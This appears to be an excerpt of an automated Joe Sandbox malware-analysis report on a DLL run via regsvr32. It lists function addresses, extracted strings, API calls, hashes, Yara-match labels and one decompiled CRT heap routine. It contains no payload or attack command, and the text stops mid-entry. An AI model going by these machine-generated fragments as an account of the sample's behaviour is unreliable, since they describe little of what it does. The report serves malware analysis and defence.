Instruction Fuzzy Hash: AD72B531618B48CBDB2DDF18C885BB9B7E1FBA8305F14462DE88AD7211DB34D946CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B7B2 Relevance: 7.9, Strings: 6, Instructions: 449
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

BaG, xrefs: 000000018002BE19
E^7, xrefs: 000000018002BD0B
{=/, xrefs: 000000018002B8E8
m?, xrefs: 000000018002BBF9
i1V, xrefs: 000000018002BC55
j, xrefs: 000000018002BD56

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: j$BaG$E^7$i1V$m?${=/
API String ID: 0-1718370006
Opcode ID: 7e95e28927a3f474dec44438ef6f7c2193a6ae12a65f48f1ee29bcd4551fec0f
Instruction ID: c2786c6f7bce021451845d5168b6505f680b7f0c5368ce25f063ff62f9696b2b
Opcode Fuzzy Hash: 7e95e28927a3f474dec44438ef6f7c2193a6ae12a65f48f1ee29bcd4551fec0f
Instruction Fuzzy Hash: 64223B70E4870DDBCB59DFA8C4AA6DEBBF6FB44344F0081A9D805A7290DB74560ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180005C74 Relevance: 6.6, Strings: 5, Instructions: 307
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$E, xrefs: 0000000180005F53
]o-, xrefs: 0000000180006087
z_o^, xrefs: 0000000180005E6A
&C, xrefs: 0000000180005D95
b , xrefs: 0000000180005CFC

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $E$&C$b $z_o^$]o-
API String ID: 0-182765021
Opcode ID: fd2830ddd061059d70b3ed5c5ef2773e5c4c00071749e16c1f80641060217d81
Instruction ID: b82cae2a5c5b3167ef3d8ad315f999371e1e8449cd72bf967428ee4211bfb190
Opcode Fuzzy Hash: fd2830ddd061059d70b3ed5c5ef2773e5c4c00071749e16c1f80641060217d81
Instruction Fuzzy Hash: 5CE1277151468CDFDF88DF28C889ADD3BA1FB483A8F956219FD0A97250D774D888CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000359C Relevance: 6.5, Strings: 5, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 000000018000367F
?I , xrefs: 00000001800039AB
k?@`, xrefs: 0000000180003705
s, xrefs: 0000000180003832
{>K, xrefs: 0000000180003892

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8$?I $k?@`${>K$s
API String ID: 0-923624899
Opcode ID: 59fac920170ce31af9fc739010187020a0354a51edcd4550f4f509655bae4bf8
Instruction ID: ebffd08f5432af4d9268e2276ec0df8890e8c351c8fd12e1d0a52c84a5ba0a07
Opcode Fuzzy Hash: 59fac920170ce31af9fc739010187020a0354a51edcd4550f4f509655bae4bf8
Instruction Fuzzy Hash: F4C1F070519784ABC388DF24C4CA95BBBF1FBD4758F906A1CF9C68A260D774D948CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E99C Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`/U, xrefs: 000000018000EF79
&k8, xrefs: 000000018000EB8F
\, xrefs: 000000018000F001
,8, xrefs: 000000018000EF6F

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &k8$,8$\$`/U
API String ID: 0-956392518
Opcode ID: 342d408fbb0085f8b5c961c7b7314e28d99ae80dc1fdc32ae007dfb548a83613
Instruction ID: eb6f1617cd975c6e10cf27e40abea16f203efbb492656816d2660eb5cb9ff966
Opcode Fuzzy Hash: 342d408fbb0085f8b5c961c7b7314e28d99ae80dc1fdc32ae007dfb548a83613
Instruction Fuzzy Hash: 7D2215715093C88BDBBECF64C889BDA7BB9FB44708F10561CEA4A9E258DB745748CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28860 Relevance: 4.5, APIs: 3, Instructions: 25
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28876
GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28891
HeapSetInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D288BB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction ID: 9235811b63a60011062a1442a231d54292fe2d432e51c42db702af6c27d11e97
Opcode Fuzzy Hash: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction Fuzzy Hash: 50F0FE74A18A4282F7949729AC0977E63D0B758345FA1C43696CD826B4DF3F9589C601

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025A4C Relevance: 4.0, Strings: 3, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6"*n, xrefs: 0000000180025E81
US8, xrefs: 0000000180025C24
z:7, xrefs: 0000000180025F7D

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6"*n$US8$z:7
API String ID: 0-1851205513
Opcode ID: 1606357dec85794d189ee26d92c7f71c49412cbd8f38d505c9803facb48510e7
Instruction ID: 607295142d9547307d046de48b3748fa472aee76cf77032a28cf9f5936a2d7e5
Opcode Fuzzy Hash: 1606357dec85794d189ee26d92c7f71c49412cbd8f38d505c9803facb48510e7
Instruction Fuzzy Hash: 57E1F9706057889FEBBADF24C88A7DE7BA1FB49744F50422DDC8A8E250DB745648CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020118 Relevance: 4.0, Strings: 3, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-;, xrefs: 0000000180020168
-;, xrefs: 0000000180020142
00, xrefs: 0000000180020267

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -;$-;$00
API String ID: 0-2539125404
Opcode ID: 4bebef8070dd7c101eddf85a5aa64f5999e83061b5374efcb24450239016e0dd
Instruction ID: 193f60ccd2842279d11af0df6a42cb9b90b2b7ab7c379db6368ea7840d008f1f
Opcode Fuzzy Hash: 4bebef8070dd7c101eddf85a5aa64f5999e83061b5374efcb24450239016e0dd
Instruction Fuzzy Hash: 28A1377051478CDBDBAADF28C8C9AD93BA1FF48394FA05219FD0287251CB75D985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019628 Relevance: 3.1, Strings: 2, Instructions: 565COMMON

Download Yara Rule

Strings

f+hb, xrefs: 0000000180019A9E
zm, xrefs: 0000000180019EC6

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: f+hb$zm
API String ID: 0-4294548274
Opcode ID: 6963b25ea24f854b6089165216e044e7a65ef6823e0c7b2cadf5353a03fffeac
Instruction ID: b2f4f577a3df5b024e80de80ecfd692f42b94ed80d4232126a84951cd6e5a716
Opcode Fuzzy Hash: 6963b25ea24f854b6089165216e044e7a65ef6823e0c7b2cadf5353a03fffeac
Instruction Fuzzy Hash: 4852C97050068D8FDF98DF68C8866DA3BA1FB58388F124319FC8AA7291D778D655CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002ACE8 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

#U6, xrefs: 000000018002AE5D

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #U6
API String ID: 0-3443268899
Opcode ID: e6a0a67d4c68fd780a130b425ea3d31e719d89ab7dc9c3de49232e364b014bec
Instruction ID: 59d24509ec93e958c93c94dd97d6e32fc772fd919bc53da4f0cdd3954875abf9
Opcode Fuzzy Hash: e6a0a67d4c68fd780a130b425ea3d31e719d89ab7dc9c3de49232e364b014bec
Instruction Fuzzy Hash: 57510E715087888BC7B8DF28C49A6CBBBF1FF86344F10091DE68987260CB76D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27640 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32 ref: 000007FEF9D2764C
_calloc_dbg.LIBCMTD ref: 000007FEF9D27671

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D2765A, 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$InfoStartup_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 1930727954-3864165772
Opcode ID: 6ce8cb6e1d9cf3b4bca9567c45291f9c0e6eb32f85ec4de2f3338e3031d5b08d
Instruction ID: 1d91a8b9fbbdfe7efb2cec2f51c290a43986955e3ccc02e10ec1e86e5f3f07e0
Opcode Fuzzy Hash: 6ce8cb6e1d9cf3b4bca9567c45291f9c0e6eb32f85ec4de2f3338e3031d5b08d
Instruction Fuzzy Hash: 88F1D82260DBC5C9E7B08B19E88076EB7A0F385B64F258226CAED477E4DB3DD445CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27DE0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__initmbctable.LIBCMT ref: 000007FEF9D27DED
_calloc_dbg.LIBCMTD ref: 000007FEF9D27E7B
_calloc_dbg.LIBCMTD ref: 000007FEF9D27F1B

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D27F9B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27F84
~, xrefs: 000007FEF9D27EFE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27E66, 000007FEF9D27F06
strcpy_s(*env, cchars, p), xrefs: 000007FEF9D27F92
_setenvp, xrefs: 000007FEF9D27F8B

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$__initmbctable_invalid_parameter_invoke_watson_if_error
String ID: _setenvp$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$strcpy_s(*env, cchars, p)$~
API String ID: 1648969265-681193798
Opcode ID: a4493985eb34f23491eb94dc9b506d74831480b604230057d9b95ae3580ffa29
Instruction ID: 6f04160d34b6c1fe028a5367eccc3c8ebf9b699179af2d046024218ded9634d0
Opcode Fuzzy Hash: a4493985eb34f23491eb94dc9b506d74831480b604230057d9b95ae3580ffa29
Instruction Fuzzy Hash: 14514F31A1DB8682EB90CB19E88576E77E0F385794F704126EACE477B4DB7EE4408B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27280 Relevance: 12.1, APIs: 8, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 000007FEF9D272CE
DecodePointer.KERNEL32 ref: 000007FEF9D27375
DecodePointer.KERNEL32 ref: 000007FEF9D272EC

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

DecodePointer.KERNEL32 ref: 000007FEF9D27398
DecodePointer.KERNEL32 ref: 000007FEF9D273AA
_initterm.LIBCMTD ref: 000007FEF9D27408
_initterm.LIBCMTD ref: 000007FEF9D2741B
__crtExitProcess.LIBCMTD ref: 000007FEF9D2747D

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$_initterm$EncodeExitProcess__crt
String ID:
API String ID: 3799933513-0
Opcode ID: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction ID: 37cfb5e84e154ae2fbcc5f75e30e47dd1cf7b4373ba061ec72f9a9691eeac49a
Opcode Fuzzy Hash: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction Fuzzy Hash: 36511C3291DB4281E6A09B58EC8436EB7E0F386794F315125EACD427B9DF7EE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28670 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE ref: 000007FEF9D2867D
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D28722
FreeEnvironmentStringsW.KERNEL32 ref: 000007FEF9D28764

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c, xrefs: 000007FEF9D2873E

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c
API String ID: 1823725401-2473407871
Opcode ID: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction ID: f3219d0a3466b597a7d077589c81ae53176584dcfccb647f84a4fae4f36a6977
Opcode Fuzzy Hash: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction Fuzzy Hash: B141A536618B8586E794CB56F84432FB7E1F785B94F200429EBCD47BA8DBBED4448B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000007FEF9D27540: _initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
Part of subcall function 000007FEF9D27540: _initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D28FE0: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D2906F

FlsAlloc.KERNEL32 ref: 000007FEF9D23D55

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c, xrefs: 000007FEF9D23D7B

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocCountCriticalFreeInitializeSectionSpin_initp_eh_hooks_initp_misc_winsig_mtdeletelocks
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c
API String ID: 3828364660-3898981997
Opcode ID: 433987b36a956229ec77e0de1d2b7e358b1fb906a8f620ef815ae1dd4af6a87a
Instruction ID: 54e8e70dd377f15c5e8b83e2f7140eab641006b368099d9e1d163193fdf976c7
Opcode Fuzzy Hash: 433987b36a956229ec77e0de1d2b7e358b1fb906a8f620ef815ae1dd4af6a87a
Instruction Fuzzy Hash: 5A115E30A2D60286F3E0AB25ED4577DA6E1B784B60F215671E9EE422F5DB2FE4048611

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2461B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E000007FE7FEF9D2461B(void* __rdx, void* __r8, long long _a32, long long _a40, intOrPtr _a64, long long _a72, void* _a80, intOrPtr _a88, long long _a96, long long _a128, signed int _a136, long long _a144, intOrPtr _a152, void* _a160) {
				signed int _t64;
				intOrPtr _t66;
				void* _t73;
				void* _t92;
				long long _t98;
				long long _t113;
				long long _t114;
				long long _t115;
				long long _t130;
				intOrPtr _t132;
				long long _t135;

				if (_a136 == 1) goto 0xf9d24672;
				_t64 = _a136 & 0x0000ffff;
				if (_t64 == 2) goto 0xf9d24672;
				if (_a136 == 3) goto 0xf9d24672;
				_a40 = "Error: memory allocation: bad memory block type.\n";
				_a32 = "%s";
				r9d = 0;
				r8d = 0;
				0xf9d2ad00();
				if (_t64 != 1) goto 0xf9d24672;
				asm("int3");
				_t98 = _a128 + 0x34;
				_a96 = _t98;
				0xf9d2ac90(); // executed
				_a80 = _t98;
				if (_a80 != 0) goto 0xf9d246b8;
				if (_a160 == 0) goto 0xf9d246b3;
				 *_a160 = 0xc;
				goto 0xf9d248b4;
				_t66 =  *0xf9d4b03c; // 0x38
				 *0xf9d4b03c = _t66 + 1;
				if (_a64 == 0) goto 0xf9d2472d;
				 *_a80 = 0;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = 0;
				 *((intOrPtr*)(_a80 + 0x18)) = 0xfedcbabc;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = 3;
				 *((intOrPtr*)(_a80 + 0x28)) = 0;
				goto 0xf9d24844;
				if (0xffffffff -  *0xf9d4c960 - _a128 <= 0) goto 0xf9d24763;
				_t130 =  *0xf9d4c960; // 0x42cc
				 *0xf9d4c960 = _t130 + _a128;
				goto 0xf9d2476e;
				 *0xf9d4c960 = 0xffffffff;
				_t132 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c990 = _t132 + _a128;
				_t113 =  *0xf9d4c978; // 0x32f4
				_t92 =  *0xf9d4c990 - _t113; // 0xa0c
				if (_t92 <= 0) goto 0xf9d247a8;
				_t114 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c978 = _t114;
				if ( *0xf9d4c980 == 0) goto 0xf9d247c4;
				_t115 =  *0xf9d4c980; // 0x2303b00
				 *((long long*)(_t115 + 8)) = _a80;
				goto 0xf9d247d0;
				 *0xf9d4c968 = _a80;
				_t135 =  *0xf9d4c980; // 0x2303b00
				 *_a80 = _t135;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = _a144;
				 *((intOrPtr*)(_a80 + 0x18)) = _a152;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = _a136;
				_t78 = _a88;
				 *((intOrPtr*)(_a80 + 0x28)) = _a88;
				 *0xf9d4c980 = _a80;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + 0x2c, __rdx, __r8);
				_t145 = _a128;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + _a128 + 0x30, _a128, __r8);
				_t73 = E000007FE7FEF9D232B0( *0xf9d4b04f & 0x000000ff, _t78,  *0xf9d4b04f & 0x000000ff, _a80 + 0x30, _t145, _a128);
				_a72 = _a80 + 0x30;
				return E000007FE7FEF9D29360(_t73, 4);
			}

0x7fef9d24623
0x7fef9d2462c
0x7fef9d24634
0x7fef9d2463e
0x7fef9d24647
0x7fef9d24653
0x7fef9d24658
0x7fef9d2465b
0x7fef9d24665
0x7fef9d2466d
0x7fef9d2466f
0x7fef9d2467a
0x7fef9d2467e
0x7fef9d24688
0x7fef9d2468d
0x7fef9d24698
0x7fef9d246a3
0x7fef9d246ad
0x7fef9d246b3
0x7fef9d246b8
0x7fef9d246c0
0x7fef9d246cb
0x7fef9d246d2
0x7fef9d246de
0x7fef9d246eb
0x7fef9d246f8
0x7fef9d2470c
0x7fef9d24715
0x7fef9d24721
0x7fef9d24728
0x7fef9d24743
0x7fef9d2474d
0x7fef9d2475a
0x7fef9d24761
0x7fef9d24763
0x7fef9d24776
0x7fef9d24783
0x7fef9d2478a
0x7fef9d24791
0x7fef9d24798
0x7fef9d2479a
0x7fef9d247a1
0x7fef9d247b0
0x7fef9d247b2
0x7fef9d247be
0x7fef9d247c2
0x7fef9d247c9
0x7fef9d247d5
0x7fef9d247dc
0x7fef9d247e4
0x7fef9d247f9
0x7fef9d24809
0x7fef9d24819
0x7fef9d24829
0x7fef9d24831
0x7fef9d24835
0x7fef9d2483d
0x7fef9d24854
0x7fef9d2485c
0x7fef9d2486d
0x7fef9d2487a
0x7fef9d24882
0x7fef9d248a1
0x7fef9d248af
0x7fef9d248c7

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24640

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Error: memory allocation: bad memory block type.
API String ID: 2480363372-1537269110
Opcode ID: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction ID: 3c0f980f6ccd09ea8afc11027f8ae4c535623d5f1e7c019e481493293b97b3b1
Opcode Fuzzy Hash: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction Fuzzy Hash: 4B71EB36A09B8586DBA0CB59E89036EB7E0F3C9B90F218526DADD437A4DF7DD044CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024EE6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction ID: 5490f85ef4092ec497088e60b932e525f0ce693db587fe3a551d92928695aba5
Opcode Fuzzy Hash: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction Fuzzy Hash: 5141C27191C7848FD7A5DF18D08A7DAB7E0FB98318F01495DE88CC7292DB749885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024F28 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction ID: 90d0215384d3738c1bd812602d16852eefab8a4974bd8bae5625081230a7a3ff
Opcode Fuzzy Hash: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction Fuzzy Hash: 4741377091CB848BD7B4DF18D08A7AAB7E0FB98315F10495EE88CC3252DB7498848B86

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26FF2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2CA00: EncodePointer.KERNEL32 ref: 000007FEF9D2CA33

_initterm_e.LIBCMTD ref: 000007FEF9D2701F

Strings

Y, xrefs: 000007FEF9D2700C

Memory Dump Source

